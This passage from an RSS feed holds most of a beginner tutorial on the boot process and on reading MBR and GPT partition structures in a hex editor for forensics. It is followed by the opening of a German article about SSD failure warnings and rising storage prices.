Only after POST passes does the firmware move on to finding the operating system.</p><h4>Step 3 — Locate a Bootable Device</h4><p>After POST passes, BIOS/UEFI looks for a <strong>bootable device</strong> — this could be:</p><ul><li>An SSD or HDD</li><li>A USB drive</li><li>A CD/DVD</li></ul><p>It checks them in a priority order you can usually configure (called the <strong>boot order</strong>). To check if a disk is bootable or to find the OS, it must: read the disk and understand its structure. To do that, they use an addressing system to locate data on the disk. At this point, BIOS uses an older, simpler addressing system (tied to MBR) that can only count up to certain number of storage blocks — which caps out at 2 TB. Any space beyond 2 TB is simply invisible to BIOS — it can’t see or use it. Whereas, UEFI uses a much more advanced addressing system (tied to GPT) that can handle astronomically large disks — up to 9 Zettabytes, which is far beyond any disk that exists today. Once it finds a bootable device, it reads the very <strong>first sector</strong> of that disk, which contains either:</p><ul><li><strong>MBR</strong> (Master Boot Record) — used with BIOS</li><li><strong>GPT</strong> (GUID Partition Table) — used with UEFI</li></ul><p>To understand about what we are talking, we need to discuss few important concepts with the scenario: Think of your hard drive as a <strong>large warehouse</strong>. Raw data — documents, videos, system files — is stored inside it as <strong>1s and 0s</strong>, the only language a computer understands. But a warehouse full of randomly dumped boxes is useless. You need structure.</p><p>Before we go further, we need to establish the foundational concepts that make all of this work.</p><h3>Foundational Concepts</h3><h4>Partitions:</h4><p>To bring order to this chaos, the disk is split into <strong>partitions</strong> — dedicated sections, each serving a specific purpose:</p><ul><li>One partition holds <strong>operating system files</strong></li><li>Another holds <strong>your personal files</strong></li><li>Another might be reserved for <strong>backups or recovery tools</strong></li></ul><p>A <strong>partition</strong> is a logically defined section of a physical disk, created by grouping a consecutive range of sectors together and treating them as an independent unit.</p><p>On <strong>Windows</strong>, you see these as drive letters — <strong>C:, D:, E:</strong>, and so on. On Linux or macOS, they appear differently (e.g., /dev/sda1), but the concept is the same: separate zones for separate purposes.</p><h4>Why Partitions Aren’t Enough?</h4><p>Dividing the disk into partitions solves the organization problem — but creates a new one. The computer now needs a <strong>map</strong> that tells it:</p><ul><li>How many partitions exist</li><li>Where each one starts and ends</li><li>What each partition contains</li><li>Which partition to boot the operating system from</li></ul><p>This is where <strong>MBR</strong> and <strong>GPT</strong> come in. <strong>MBR (Master Boot Record)</strong> and <strong>GPT (GUID Partition Table)</strong> are <strong>partitioning schemes</strong> — essentially the blueprint of your warehouse, describing every room inside it.</p><h4>Disk Size = Storage Capacity</h4><p>When we say BIOS supports disks up to <strong>2 TB</strong> and UEFI supports up to <strong>9 Zettabytes</strong>, we’re talking about the <strong>total storage capacity</strong> of your hard drive or SSD — how much data it can hold.</p><h3>MBR &amp; GPT: The Blueprints of Your Disk</h3><p><strong>MBR (Master Boot Record)</strong> and <strong>GPT (GUID Partition Table)</strong> are <strong>partitioning schemes</strong> — essentially the blueprint of your warehouse, describing every room inside it. Both partitioning schemes differ in structure and properties, and choosing between them depends on multiple factors, including the disk size, hardware compatibility, and much more. Both live in the <strong>very first sectors of the disk</strong> and are read the moment your computer powers on.</p><h4>What Exactly is Sector?</h4><p>A sector is the smallest unit of storage on a disk. Every disk — whether a hard drive or SSD — is physically divided into millions of tiny, fixed-size slots called sectors, each holding<strong> 512 bytes</strong> of data.When your computer reads or writes anything, it always does so in whole sectors — you can never read or write less than one sector at a time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*_JIM7h0MSvpCS_xKFBrRgg.png"></figure><p>All sector numbering starts from 0, and the v<strong>ery first sector (Sector 0) </strong>holds a special place in the boot process, as it is where the<strong> MBR </strong>(Master Boot Record) lives. The real <strong>GPT </strong>header and partition table start from <strong>Sector 1.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*bsr_R0w7YWvf6VnGx0kjQw.png"></figure><h4>Step 4 — Read the Disk Structure: MBR/GPT</h4><p>When you press the power button, your computer doesn’t yet know where the OS is. It turns to the MBR or GPT first — reading the partition map to figure out <strong>which partition contains the operating system</strong> and <strong>how to load it</strong>. This makes them the first critical step in every startup.</p><h3><strong>What if MBR?</strong></h3><p>The MBR occupies exactly <strong>512 bytes</strong> — starting at the very first sector of the disk. But when you open a raw disk data in a hex editor, how do you know where it ends?</p><p>Looking at the given image, it has three columns:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*Pdx0YWIFoIhHly9CBvqrjg.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*SGK9OxnyY1OM2-ogoy22vw.png"></figure><p>There are two ways to find where the MBR ends</p><p><strong>1. Count the rows:</strong> Each row contains <strong>16 bytes</strong>. So:</p><blockquote><em>16 bytes × 32 rows = </em><strong><em>512 bytes = the entire MBR</em></strong></blockquote><p>You can literally count 32 rows from the top — that’s your whole MBR.</p><p><strong>2. Look for the MBR Signature:</strong> The MBR always ends with the magic bytes <strong>55 AA</strong>. This is a universal signature marking the end of MBR code. You can spot it clearly in the <strong>last row</strong> (000001F0) of the hex editor on the right — the final two bytes are 55 AA .</p><blockquote>The first-stage bootloader is when first code (bootstrap code) executes when BIOS loads the MBR into memory.</blockquote><p><strong>The Structure of MBR</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/326/1*CSVVkp8rlEfdDdaHhJtwQw.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*8OmziEgE-bsLFvFgwwtCsg.png"></figure><p><em>(you may find faults in this image, very useful to visualize the structure of MBR)</em></p><p><strong>A. Bootstrap Code (Bytes 0–445) — Blue<br></strong>This is the largest section, taking up almost the entire MBR. It is the very first piece of code that executes on your machine. Its only job is to scan the <strong>Partition Table </strong>and find which partition is marked as bootable (boot indicator: 80 meaning it is the C:\ Drive). Once it finds the bootable partition, it loads the <strong>second-stage bootloader </strong>from it, which then loads the actual OS kernel.</p><p><strong>B. Partition Table (Bytes 446–509) — Purple, Teal, Coral, Pink<br></strong>This section is the map of all the partitions on the disk. It is only 64 bytes, but carries critical information. Since, MBR disk supports a maximum of 4 partitions, and each partition gets 16 bytes of space in the table making 64 bytes total. Those 16 bytes are divided into 6 fields, for example:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*GDCfihG47XyOjvmk.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*_N2VK6mZk-9sVd0VaCLdyA.png"></figure><p>For your understanding, the partition details of the same disk through the disk management utility of the Windows OS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*CtIiCgsdZvLoZ_JC.png"></figure><p>Now, first understand all the core terms:</p><p><strong>What is CHS? </strong>Hard disks (specifically older ones) are made of circular spinning platters, like CDs stacked on top of each other. Data is stored on these platters in concentric rings. To locate any piece of data physically, you needed three coordinates:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*CKTspbYgqba8R3iL1qKfGA.png"></figure><p>Together, Cylinder+Head+Sector gave you the exact physical location on the disk — like a 3D coordinate system inside the drive.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/0*fHOHsAyPpB2E3e0e"></figure><p><strong>The Starting CHS</strong> = where the partition physically begins on these platters<br><strong>The Ending CHS</strong> = where it physically ends</p><p>Modern disks are too large and too complex for CHS to work accurately. CHS can only address up to <strong>~8 GB</strong> of disk space — completely useless for today’s multi-terabyte drives. That’s why LBA replaced it.</p><p><strong>What is LBA — Logical Block Addressing?</strong></p><p>CHS required knowing the physical geometry of the disk — how many platters, how many rings, etc. Different disks had different geometries, making it complicated. LBA throws away all that physical complexity. It says:</p><blockquote><em>“Forget cylinders and heads. Just number every sector from 0 to the end, in a straight line.”</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*30pz97rJT37sphzqPhHv2Q.png"></figure><p>Every sector gets a simple sequential number called its <strong>LBA address</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*ijuST65Ien2GBLpPVdvNtQ.png"></figure><p><strong>LBA Offset — What Does “Offset” Mean?</strong></p><p>An offset is simply a distance from the beginning.</p><ul><li>LBA offset 0 = the very start of the disk</li><li>LBA offset 2048 = 2048 sectors from the start</li></ul><p>To convert an LBA to an actual <strong>byte position</strong> (which is what a hex editor uses):</p><blockquote>Byte Position = LBA * sector size</blockquote><p>So, if the LBA = 2048, we know that the sector size is 512 bytes, the partition starts at <strong>1,048,576 bytes</strong> from the beginning of the disk.</p><p>“The sector the partition starts at” just means: <strong>which sector number does this partition begin at?</strong> In our example, Partition 1 begins at sector 2048.</p><p><strong>Little-Endian vs Big-Endian</strong></p><p>This is about the order in which bytes are stored in memory or on disk.</p><p>The problem is that numbers bigger than one byte need multiple bytes to store. For example, the number 2048 in hex is 0x00000800 — that’s 4 bytes: 00 00 08 00.</p><p>But which byte do you write first?</p><p>Big-Endian — “Natural” Order: Write the most significant (biggest) byte first — just like how humans write numbers:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*CDS_IN8FwZXWoLcXj-lxOg.png"></figure><p>Little Endian — Least Significant (smallest) Byte first:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*7PixknneA80px5-Nej_lgg.png"></figure><p>Intel processors — found in virtually all desktop and laptop computers — use little-endian. This means whenever you read a multi-byte value from an MBR or GPT structure, you must reverse the bytes before interpreting the number.</p><p>Now, field-by-field breakdown:</p><p><strong>Field 1 — Boot Indicator (1 byte)</strong></p><p>This is the simplest field. It answers one yes/no question:<strong> is this partition bootable? </strong>Only <strong>one partition </strong>across all four can have <strong>80. </strong>On windows, this is always your C: drive. All other partitions will show <strong>00.</strong></p><p><strong>Field 2 — Starting CHS Address (3 bytes)</strong></p><p>These 3 bytes tell the system the <strong>physical starting location</strong> of the partition on the actual hardware.</p><p><strong>Field 3 — Partition Type (1 byte)</strong></p><p>This single byte tells you what filesystem the partition uses. Every filesystem has a unique code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/819/1*0tHJwz_ZNQpbTgmiZXJH4Q.png"></figure><p><strong>Field 4 — Ending CHS Address (3 bytes)</strong></p><p>Same concept as the Starting CHS Address, but marks the <strong>physical end</strong> of the partition. Again, this is largely <strong>ignored in modern forensics</strong> because LBA addressing (below) is far more reliable and easier to work with.</p><p><strong>Field 5 — Starting LBA Address (4 bytes)</strong></p><p><strong>LBA = Logical Block Addressing</strong> — this is the modern, simplified way to locate a partition. Instead of physical cylinder/head/sector coordinates, LBA gives you a simple <strong>logical number</strong> representing which sector the partition starts at. This is the field forensic analysts care about most, because it lets you <strong>jump directly to the partition</strong> in a hex editor.</p><p><strong>How to use LBA to find the partition:</strong></p><p>The bytes are stored in <strong>little-endian format</strong> — meaning the bytes are written in reverse order (least significant byte first). You must reverse them before doing anything.</p><p><strong>Step 1 — Read the raw bytes:</strong></p><pre>00 08 00 00</pre><p><strong>Step 2 — Reverse them (little endian -&gt; big endian):</strong></p><pre>00 00 08 00</pre><p><strong>Step 3 — Convert hex to decimal:</strong></p><pre>00 00 08 00 (hex) = 2048 (decimal)</pre><p><strong>Step 4 — Multiply by sector size (always 512 bytes):</strong></p><pre>2048 * 512 = 1,048,576</pre><p><strong>Step 5 — Jump to that offset in the hex editor:</strong></p><p>Go to offset 1,048,576 in HxD using Search → Go To → enter the decimal value. You will land <strong>exactly at the start of this partition</strong> on the disk.</p><blockquote><em>This technique is extremely powerful in forensics. Even if a partition has been deleted or hidden, as long as the LBA entry exists or can be reconstructed, you can jump directly to it and carve out data that hasn’t been overwritten yet.</em></blockquote><p><strong>Field 6 — Number of Sectors (4 bytes)</strong></p><p>These last 4 bytes tell you <strong>how many sectors the partition contains</strong>, which lets you calculate its exact size of partition.</p><p><strong>Step 1 — Read the raw bytes:</strong></p><pre>00 B0 23 03</pre><p><strong>Step 2 — Reverse them (little-endian):</strong></p><pre>03 23 B0 00</pre><p><strong>Step 3 — Convert hex to decimal:</strong></p><pre>03 23 B0 00 (hex) = 52,670,464 (decimal)</pre><p><strong>Step 4 — Multiply by sector size:</strong></p><pre>52,670,464 × 512 = 26,967,277,568 bytes<br>                 ≈ 25.1 GB</pre><p><strong>C. MBR Signature</strong></p><p>The very last two bytes of the entire 512-byte MBR. These are a hard-wired validity check. The BIOS/UEFI firmware reads these two bytes after loading the MBR and asks: are they 55 AA? Yes → valid MBR, proceed with boot. Anything else → halt and show a boot error. Malware targets these specifically because flipping just these two bytes makes the entire system unbootable instantly.</p><h3><strong>What if GPT?</strong></h3><p>GPT is a complete redesign of how disk structure is stored. Instead of cramming everything into a single 512-byte sector, GPT spreads across multiple sectors, maintains backup copies of everything, and uses cryptographic checksums to detect corruption instantly.</p><p>Before discussing anything, we need to know about few concepts:</p><ol><li><strong>Mixed Endian — </strong>Some parts are little-endian, some are big-endian. GPT uses this for GUIDs.</li><li><strong>GUID (Globally Unique Identifier)</strong> — A 128-bit unique ID assigned to disks and partitions, formatted like C12A7328-F81F-11D2-BA4B-00A0C93EC93B. No two GUIDs are the same — it's like a fingerprint.</li></ol><p>3. <strong>CRC32 (Cyclic Redundancy Check) — </strong>A checksum. The system calculates a number based on the data. If someone tampers with or corrups the data, the CRC32 value changes — acting as a tamper/corruption detector.</p><p><strong>Structure of the GPT:</strong></p><p>Unlike MBR which lived only in Sector 0, GPT spreads across <strong>multiple sectors</strong> and has <strong>5 components</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*5XzTvrk7tz51LA9nBhRVVw.png"></figure><p><strong>Component 1 — Protective MBR (Sector 0)</strong></p><p>The very first sector of a GPT disk still looks like an MBR — but it’s a <strong>fake, dummy MBR</strong>. It exists purely to protect GPT disks from old BIOS systems that don’t understand GPT. Old BIOS systems expect to find an MBR in Sector 0. If they don’t, they might think the disk is blank and accidentally overwrite it. The Protective MBR says to the BIOS — <em>“Yes, I’m an MBR, everything is fine, don’t touch anything.”</em></p><p><strong>Component 2 — Primary GPT Header (Sector 1)</strong></p><p>The real GPT begins here. The GPT Header is the <strong>master blueprint</strong> of your disk — it tells the system everything it needs to know about the disk’s layout. It only uses the first <strong>92 bytes</strong> of the sector. The remaining bytes are padded with zeros.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XJw8tSObzvc7gx2K.png"></figure><p>All 14 Fields Explained:</p><p><strong>1. Signature (Bytes 0–7)</strong> Value: 45 46 49 20 50 41 52 54 This spells "EFI PART" in ASCI — 8 characters, one byte each. It identifies whether this sector is a valid GPT header at all or not. Always present at the very start.</p><p><strong>2. Revision (Bytes 8–11)</strong> Value: 00 00 01 00 → Version 1.0 indicates which version of the GPT specification this disk uses. Almost always 1.0.</p><p><strong>3. Header Size (Bytes 12–15)</strong> Value: 5C 00 00 00 are in little-endian → Reverse→ 00 00 00 5C → Decimal 92 Confirms the GPT header is 92 bytes long. Basically it tells how large the GPT header itself is.</p><p><strong>4. CRC32 of Header (Bytes 16–19)</strong> This is the integrity seal of the GPT header itself. When the header is first written to disk, the computer calculates a CRC32 checksum — a mathematical fingerprint — across all 92 bytes of the header (with this field itself temporarily set to zero during calculation). Every time the computer boots, it recalculates the CRC32 of the header and compares it to this stored value. If they match, the header is intact. If they differ, even by a single bit, the computer knows the header has been corrupted or tampered with. It then looks at the Backup LBA field (field 7) to find the backup header and restores from it. This is GPT’s primary self-healing trigger.</p><p><strong>5. Reserved (Bytes 20–23)</strong> These are the 4 bytes intentionally left empty — always set to zero. They serve as a reserve space: if a future version of GPT needs to add a small new field to the header, these bytes are available without having to redesign the entire header structure. You will always 00 00 00 00 here on any valid GPT disk. If you see anything other than zeros, something has gone wrong — or the disk was formatted by non-standard software.</p><p><strong>6. Current LBA (Bytes 24–31)</strong> Value: 01 00 00 00 00 00 00 00 → Decimal 1 <br>This field stores the sector number where this header itself is located. For the primary header, that is always LBA 1.</p><blockquote>GPT keeps two identical copies of the header: one at the start of the disk (LBA 1) and one at the very end. Both copies are nearly identical, but they swap current LBA field and backup LBA field.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*6ADVOOCu_w3MXfr2xX4K2g.png"></figure><p><strong>7. Backup LBA (Bytes 32–39)</strong> → This field is the address of the partner header — the backup copy of the GPT header stored at the very end of the disk. For the primary header, Backup LBA points to the last sector of the disk. For the backup header, Backup LBA points back to LBA 1. Together, Current LBA and Backup LBA form a two-way handshake: each header knows exactly where it is and exactly where its partner lives. This is how the system knows where to find the backup if the primary gets corrupted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*Sex1qk3OjXb4e1MKDiIUdQ.png"></figure><p><strong>8. First Usable LBA (Bytes 40–47)</strong> The first sector where actual partition data can begin. Sectors from 0 to 33 before this are reserved for GPT’s own structures. The value 22 in hex = 34 in decimal, so LBA 34 is the first usable sector. If any partition started before LBA 34, it would overwrite these critical structures and destroy the disk layout. This field is the safety boundary. Any disk management tool creating a new partition checks this field first and ensures no partition starts before this value. Every partition’s individual Starting LBA must be greater than or equal to this number.</p><p><strong>9. Last Usable LBA (Bytes 48–55)</strong> The last sector where partition data can end. Sectors after this are reserved for the backup GPT structures at the end of the disk — a full copy of the Partition Entry Array and the backup GPT header. No partitions can extend beyond this point. The usable space on your disk is therefore a defined window: from First Usable LBA to Last Usable LBA. Everything outside this window belongs to GPT’s own infrastructure. This is why you never get the full advertised disk capacity as usable space — a small number of sectors at both ends are consumed by GPT overhead.</p><p><strong>10. Disk GUID (Bytes 56–71)</strong> A unique 16-byte identifier for this specific disk. No other disk in the world has the same GUID. Formatted as: 1DF1B0D6-43BE-374E-B1E6-3866ECB17389. Used to distinguish this disk from all others connected to the system. It also matters in forensics: if you clone a disk byte-for-byte, the clone inherits the same Disk GUID, which forensic tools detect as suspicious — two disks claiming the same identity. Each partition also has its own separate GUID stored in its partition entry. The Disk GUID here is specifically about the whole drive, not any individual partition.</p><p><strong>11. Partition Entry Array LBA (Bytes 72–79) </strong>The field points to the sector where the Partition Entry Array begins — the master list of all partitions on the disk. The value is almost always LB2 (Sector 2), the sector immediately after the GPT header. The Partition Entry Array contains up to 128 records, each describing one partition. By storing this address explicitly rather than hardcoding it, GPT allows software to verify the array is where it expects it to be. If this field pointed to an unexpected location, it would immediately signal corruption or tampering.</p><p><strong>12. Number of Partition Entries (Bytes 80–83)</strong> Value: 80 00 00 00 → Decimal 128 GPT always reserves space for 128 partitions, regardless of how many partitions you actually create. Even if your disk has only 3 partitions, the Partition Entry Array still contains 128 slots — the unused 125 are simply filled with zeros. Why? Because the array must be a fixed, known size before any partitions exist.</p><p><strong>13. Size of Each Partition Entry (Bytes 84–87)</strong> Value: 80 00 00 00 → Decimal 128 bytes Each partition's entry in the Partition Entry Array takes up exactly 128 bytes. Not the partition's own size — just the size of its record in the table. So the total space the Partition Entry Array is:</p><pre>128 entries * 128 bytes each = 16, 384 bytes</pre><p>This is just multiplication — 128 slots, each slot is 128 bytes wide, so the entire table is 16,384 bytes total. And you know that each sector holds 512 bytes. So to find how many sectors 16, 384 bytes needs:</p><pre>16,384 bytes ÷ 512 bytes per sector<br>= 32 sectors</pre><p>The Partition Entry Array needs exactly 32 sectors — not 31, not 33. Perfectly fits with no leftover space. This is why it occupies <strong>LBA 2 through LBA 33</strong>:</p><pre>LBA 2  = Sector 1 of the array<br>LBA 3  = Sector 2 of the array<br>LBA 4  = Sector 3 of the array<br>...<br>LBA 33 = Sector 32 of the array  ← array ends here</pre><p><strong>14. CRC32 of Partition Array (Bytes 88–91)</strong> A checksum for the entire Partition Entry Array. If any partition entry is tampered with or corrupted, this checksum will fail and the system is alerted. Every time the system reads the partition table, it recalculates this checksum and compares it to the stored value. If even one byte in any partition entry has changed — due to disk corruption, a failing drive sector, or deliberate tampering — this checksum fails. The system then falls back to the backup GPT at the end of the disk, which has its own copy of the array with its own checksum. If the backup is intact, the primary is repaired automatically.</p><p><strong>Component 3 — Partition Entry Array (Sectors 2–33)</strong></p><p>This is the actual <strong>partition table</strong> of GPT — a list of all 128 partition entries, each exactly 128 bytes. It starts at Sector 2 and spans through Sector 33.</p><p>Each Partition Entry Has 6 Fields:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/1*1cUq-isYHYOeZbRhz4UqOQ.png"></figure><p><strong>1. Partition Type GUID (Bytes 0–15)</strong> Identifies <em>what kind</em> of partition this is — EFI System Partition, Windows data partition, Linux partition, etc. Stored in mixed-endian, so you need to reverse specific byte groups before reading. Once converted, you can look up the GUID online to find the partition type.</p><blockquote><em>Example: </em><em>C12A7328-F81F-11D2-BA4B-00A0C93EC93B = EFI System Partition</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*1p0mATjwvV9af9iHll3nFg.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*an-DuMuW4ejKgnh0bIpSxQ.png"></figure><p><strong>2. Unique Partition GUID (Bytes 16–31)</strong> A unique identifier for <em>this specific partition</em>. No two partitions — even of the same type — share this GUID. Also stored in mixed-endian format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*g1w_ZwtX_zO-LqQM0nWj9w.png"></figure><p><strong>3. Starting LBA (Bytes 32–39)</strong> The sector number where this partition begins on the disk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*5_6vwKAA0qwL6Jawz_lGrw.png"></figure><p><strong>4. Ending LBA (Bytes 40–47)</strong> The sector number where this partition ends on the disk. The partition occupies every sector between Starting LBA and Ending LBA.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*l3I9OyHKqal70OkW1TIawA.png"></figure><p><strong>5. Attributes (Bytes 48–55): </strong>An 8-byte field where individual bits acts as flags — each bit being 0 or 1 switches a property on or off. Flags that describe special properties of the partition:</p><ul><li>Is it <strong>required</strong> by the system (cannot be deleted)?</li><li>Is it <strong>bootable</strong>?</li><li>Is it <strong>hidden</strong> from the OS?</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*ezT89OICanX41kjbxXj6mg.png"></figure><p>For example, the EFI System Partition typically has <strong>Bit 0 = 1</strong> (required, cannot be deleted) and <strong>Bit 2 = 1</strong> (bootable).</p><p><strong>6. Partition Name (Bytes 56–127)</strong> The human-readable name of the partition (e.g., “EFI System Partition”, “Basic Data Partition”). Encoded in UTF-16 format, taking up the remaining 72 bytes of the entry.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*avGBpEM7OavzRGqhZB2jww.png"></figure><p>This is purely for human readability — disk tools and partition managers display this name to you. The system itself uses the GUIDs, not this name, to identify partitions.</p><h4>Component 4 — Your Actual Partitions (LBA 34 to Last Usable LBA)</h4><p>This is the space where your C: drive, D: drive, and any other partitions live. Everything from LBA 34 to the Last Usable LBA is available for partition data. Each partition’s exact location is defined by the Starting LBA and Ending LBA in its partition entry.</p><h4>Component 5 — Backup GPT (End of Disk)</h4><p>GPT stores a complete backup of both the Partition Entry Array and the GPT Header at the very end of the disk. The backup Partition Entry Array comes first, followed by the backup GPT Header at the very last sector.</p><p>If the primary GPT Header or Partition Entry Array fails its CRC32 check, the system reads the Backup LBA from whatever it could parse of the primary, jumps to the end of the disk, and reads the backup. If the backup is intact, the primary is automatically restored. This is the self-healing system that MBR never had.</p><p><strong>The EFI System Partition (ESP) — Critical Concept</strong></p><p>The first partition on any GPT disk is almost always the <strong>EFI System Partition</strong>. This is where the <strong>bootloader files</strong> live — files with the .efi extension that are responsible for loading your operating system.</p><p>In MBR, the bootloader was crammed into the tiny 446 bytes of bootloader code in Sector 0. In GPT/UEFI, the bootloader is a collection of proper files stored in this dedicated partition — much more flexible and robust.</p><pre>MBR approach:<br>┌─────────────────────────────────┐<br>│ Sector 0 — 512 bytes total      │<br>│ ├── 446 bytes: Bootloader code  │ ← entire bootloader crammed here<br>│ ├── 64 bytes:  Partition table  │<br>│ └── 2 bytes:   Signature        │<br>└─────────────────────────────────┘<br>446 bytes is tiny — barely enough for a basic bootloader<br><br>GPT/UEFI approach:<br>┌──────────────────────────────────────────┐<br>│ EFI System Partition (100 MB typical)    │<br>│ ├── /EFI/Boot/bootx64.efi               │ ← actual bootloader files<br>│ ├── /EFI/Microsoft/Boot/bootmgfw.efi    │ ← Windows boot manager<br>│ ├── /EFI/ubuntu/grubx64.efi            │ ← Linux bootloader<br>│ └── ... more .efi files                 │<br>└──────────────────────────────────────────┘<br>Hundreds of megabytes — full files, multiple OS bootloaders can coexist</pre><p>With MBR, you had 446 bytes to work with. With GPT, you have an entire partition — typically 100 MB — filled with proper .efi files. This is why modern systems can dual-boot Windows and Linux cleanly, with each OS storing its own bootloader file in the ESP without conflicting.</p><h4>Step 5 — Load Bootloader</h4><p>After the system firmware (BIOS/UEFI) identifies the bootable partition using the MBR or GPT, it loads a more advanced program called the bootloader from that partition into memory. This bootloader (such as GRUB for Linux or Windows Boot Manager) is capable of understanding the disk’s filesystem, unlike the tiny first-stage code in the MBR. Its job is to locate the necessary operating system files, especially the kernel, and prepare the system for startup. In some cases, it also provides a menu that allows the user to choose between multiple operating systems or boot options. At this stage, the system transitions from very basic hardware-level instructions to a more intelligent program that can interact with stored data in a structured way.</p><h4>Step 6 — Load OS</h4><p>Once the bootloader has done its job, it loads the operating system’s kernel into RAM and transfers control to it. The kernel is the core of the operating system and is responsible for managing hardware, memory, processes, and system resources. After taking control, the kernel initializes essential components such as device drivers, sets up communication between hardware and software, and starts system services. This process eventually leads to the launching of the user interface, such as a login screen or desktop environment. At this point, the computer is fully operational, and the operating system is ready for user interaction.</p><h3>The Full Boot Chain at a Glance</h3><pre>Power button pressed<br>        ↓<br>CPU executes UEFI firmware<br>        ↓<br>POST — hardware health check<br>        ↓<br>Firmware reads boot order → selects disk<br>        ↓<br>Reads Sector 0 → Protective MBR → identifies GPT disk<br>        ↓<br>Reads Sector 1 → GPT Header → verifies CRC32<br>        ↓<br>Reads Sectors 2–33 → Partition Entry Array → verifies CRC32<br>        ↓<br>Finds EFI System Partition → mounts FAT32 filesystem<br>        ↓<br>Loads bootmgfw.efi → Windows Boot Manager runs<br>        ↓<br>Loads winload.efi → verifies Secure Boot signatures<br>        ↓<br>Loads ntoskrnl.exe → Windows kernel takes control<br>        ↓<br>Drivers, services, login screen → OS fully running</pre><p>At any stage where a CRC32 fails, the system automatically attempts recovery from the backup GPT structures. At any stage where Secure Boot detects a signature mismatch, loading is refused. This layered resilience is what separates modern GPT-based systems from the fragile MBR-based boot process they replaced.</p><h3>Why This Knowledge Matters</h3><p><strong>For cybersecurity:</strong> The structures covered here are the primary targets of the most sophisticated malware — bootkits — because they execute before the OS and therefore before any antivirus. Understanding these structures is prerequisite knowledge for understanding how bootkit attacks work and why Secure Boot was designed to counter them.</p><p><strong>For digital forensics:</strong> The Starting LBA of every partition is recorded in the partition table even after the partition is deleted. A forensic analyst who knows how to read these entries can jump directly to former partition locations and recover data that the user believed was erased. The Disk GUID also persists through most deletions and can link a disk to a specific machine.</p><p><strong>For system administration:</strong> When a disk fails to boot, understanding the chain above tells you exactly which component to investigate first — is the GPT Header corrupted? Is the ESP missing? Is the bootloader file absent? Each failure has a specific symptom and a specific repair procedure. Without this foundation, troubleshooting is guesswork.</p><p>The structures discussed here are not esoteric knowledge. They are the literal foundation that every piece of software on your computer depends on, every time it starts.</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><em>This blog is written for students and beginners moving beyond surface-level understanding into how systems actually work — particularly those interested in cybersecurity, digital forensics, and operating systems.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=d2217d9b0b2b" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/before-windows-loads-the-hidden-boot-architecture-every-tech-person-should-understand-d2217d9b0b2b">TryHackMe Walkthrough: MBR and GPT Analysis (Beginner to Intermediate Guide)</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[SSD stirbt leise: Diese Warnzeichen dürfen Sie nicht ignorieren]]></title>
<description><![CDATA[Wer ein PC-Upgrade plant und deshalb gerade die Preisvergleiche der großen Onlinehändler prüft, reibt sich die Augen: Warum ist Speicher so teuer? Früher wurden SSDs und RAM doch laufend günstiger.



Diese Zeiten sind vorbei: Die Kombination aus explodierender Speicher-Nachfrage für KI-Server un...]]></description>
<link>https://tsecurity.de/de/3481778/windows-tipps/ssd-stirbt-leise-diese-warnzeichen-duerfen-sie-nicht-ignorieren/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3481778/windows-tipps/ssd-stirbt-leise-diese-warnzeichen-duerfen-sie-nicht-ignorieren/</guid>
<pubDate>Sat, 02 May 2026 08:07:45 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Wer ein PC-Upgrade plant und deshalb gerade die Preisvergleiche der großen Onlinehändler prüft, reibt sich die Augen: Warum ist Speicher so teuer? Früher wurden SSDs und RAM doch laufend günstiger.</p>



<p>Diese Zeiten sind vorbei: Die Kombination aus explodierender Speicher-Nachfrage für KI-Server und -Hardware und einer vorherigen Produktionsverknappung hat die Preise für SSDs massiv nach oben getrieben.</p>



<p>Denn zum einen bauen die Hersteller momentan vor allem DRAM-Speicher für Server und KI-Grafikkarten und weniger NAND-Flash für SSDs. Zudem setzen auch KI-Rechenzentren SSDs als Laufwerke ein. Die Folge: Das Angebot für PC- und Notebook-Anwender schrumpft, die Preise steigen. Laut Experten hat sich NAND-Speicher seit Jahresbeginn um rund 60 Prozent verteuert.</p>



